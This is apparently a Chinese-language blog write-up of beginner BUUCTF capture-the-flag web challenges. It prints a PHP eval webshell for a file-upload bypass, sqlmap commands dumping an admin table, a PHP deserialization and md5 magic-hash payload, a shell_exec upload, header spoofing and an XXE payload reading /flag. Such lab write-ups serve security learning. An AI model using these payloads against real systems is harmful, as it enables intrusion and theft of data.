【网络安全CTF】BUUCTF(Basic篇)

Linux Labs

解题思路:已给用户名密码,直接用ssh工具连接即可获取flag
在这里插入图片描述在这里插入图片描述
查找flag在跟下
在这里插入图片描述
提交完成。

BUU LFI COURSE 1

在这里插入图片描述
访问链接:为php代码审计题,看题目要求构造GET请求读取文件
http://9a7d4988-99f9-4c29-88d8-600e19887723.node4.buuoj.cn:81/?file=/…/…/flag
在这里插入图片描述
在这里插入图片描述

Upload-Labs-Linux 靶场

在这里插入图片描述
访问链接:为uploab-labs靶场,这个共有20关过一关可获取flag。
在这里插入图片描述
选择第一关:查看代码发现为前端js限制文件类型,这种直接使用抓包进行绕过
在这里插入图片描述
准备shell木马文件:

<?php @eval($_POST['caidao']);?>

修改扩展名为.jpg 或.png或.gif
文件上传抓包:
在这里插入图片描述
修改扩展名为php
在这里插入图片描述
文件存放位置:
在这里插入图片描述
在这里插入图片描述
使用蚁剑链接
在这里插入图片描述
在这里插入图片描述
成功获取flag,其他关卡不在说明,通关思路都为上传绕过。

BUU BRUTE 1

在这里插入图片描述
一个登陆框:
在这里插入图片描述
随便输入账号密码:
在这里插入图片描述
提示用户名错误:
在这里插入图片描述
试试常用用户名admin、root、administrator等
发现使用admin作为用户名,提示密码为四位数字。
在这里插入图片描述
使用暴力破解:
使用字典生成器生成4位数密码:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
密码破译为:6490

在这里插入图片描述
在这里插入图片描述

BUU SQL COURSE 1

在这里插入图片描述
明显的sql注入
在这里插入图片描述
使用sqlmap直接爆数据库
在这里插入图片描述加参数 -dbs
sqlmap.exe -u “http://b36e1058-d0a1-450b-b960-cf2f1d4a79bd.node4.buuoj.cn:81/backend/content_detail.php?id=1” -dbs
在这里插入图片描述
其中news和test比较显眼,查news数据库
sqlmap.exe -u “http://b36e1058-d0a1-450b-b960-cf2f1d4a79bd.node4.buuoj.cn:81/backend/content_detail.php?id=1” -D news --tables
在这里插入图片描述
查看admin表内字段

sqlmap.exe -u “http://b36e1058-d0a1-450b-b960-cf2f1d4a79bd.node4.buuoj.cn:81/backend/content_detail.php?id=1” -D news -T admin --columns
在这里插入图片描述
sqlmap.exe -u “http://b36e1058-d0a1-450b-b960-cf2f1d4a79bd.node4.buuoj.cn:81/backend/content_detail.php?id=1” -D news -T admin -C id,password,username --dump
在这里插入图片描述
admin 加密码登陆注意这里不是md5加密,开始看错了,解半天没解出发现是明文存储的,无语。
在这里插入图片描述

BUU CODE REVIEW 1

在这里插入图片描述
代码审计:

在这里插入图片描述
代码片段:

<?php
/**
 * Created by PhpStorm.
 * User: jinzhao
 * Date: 2019/10/6
 * Time: 8:04 PM
 */

highlight_file(__FILE__);  //高亮显示代码

class BUU {
   public $correct = ""; //定义全局变量
   public $input = "";//定义全局变量

   public function __destruct() {
       try {
           $this->correct = base64_encode(uniqid());  //uniqid() 函数基于以微秒计的当前时间,生成一个唯一的 ID,base64_encode为转换为bash64编码
           if($this->correct === $this->input) {  /判断两个属性是否全等
                   echo file_get_contents("/flag");  //若全等,则打印根目录下的flag
           }
       } catch (Exception $e) {
       }
   }
}

if($_GET['pleaseget'] === '1') { //判断pleaseget==='1'&&pleasepost==='2'&&md1!=md52&&md5(md51)==md5(md52)
    if($_POST['pleasepost'] === '2') {
        if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
            unserialize($_POST['obj']);
        }
    }
}

第二段代码get参数简单为

http://IP/?pleaseget=1

第一段代码使用空数组绕过,给POST参数

pleasepost=2&md51=QNKCDZO&md52=s155964671a&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}

此题详解可以看:https://blog.csdn.net/weixin_43965597/article/details/126381171
在这里插入图片描述

sqli-labs

参考之前写的:https://blog.csdn.net/qq_39583774/article/details/120722112?spm=1001.2014.3001.5501

BUU UPLOAD COURSE 1

在这里插入图片描述
上传实验
这里我传的docx的文件,可以看到变成了jpg的格式
在这里插入图片描述
并看不到文件内容
在这里插入图片描述
使用抓包工具修改包:
在这里插入图片描述
尝试连接:

在这里插入图片描述

测试连接失败:
在这里插入图片描述
使用其他方式,发现这里不对,上传一个phpinfo发现能够执行,但是执行的jpg格式。
在这里插入图片描述

既然能够执行php那我们直接写一个php打印flag即可。

<?php
$output = shell_exec('cat /flag');
echo "<pre>$output</pre>";
?>

上传直接访问即可拿到flag
在这里插入图片描述

BUU BURP COURSE 1

在这里插入图片描述

在这里插入图片描述
打开后直接显示只能本地访问,本地ip的由X-Forwarded-For和X-Real-IP进行构建
这里是使用的X-Real-IP构建的
在这里插入图片描述

在这里插入图片描述

BUU XXE COURSE 1

XXE漏洞是外部实体注入攻击
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
用burp抓包,这里是个xml的提交
在这里插入图片描述

我们在这定义了一个实体 xxe,它将指向/flag 文件,然后我们在 XML 数据中使用 &xxe; 引用这个实体,这样攻击者就可以将该文件中的内容读取到 HTTP 响应中。

<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "file:///flag">
]>
<root>
  <username>&xxe;</username>
  <password>test</password>
</root>

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/qq_39583774/article/details/127200071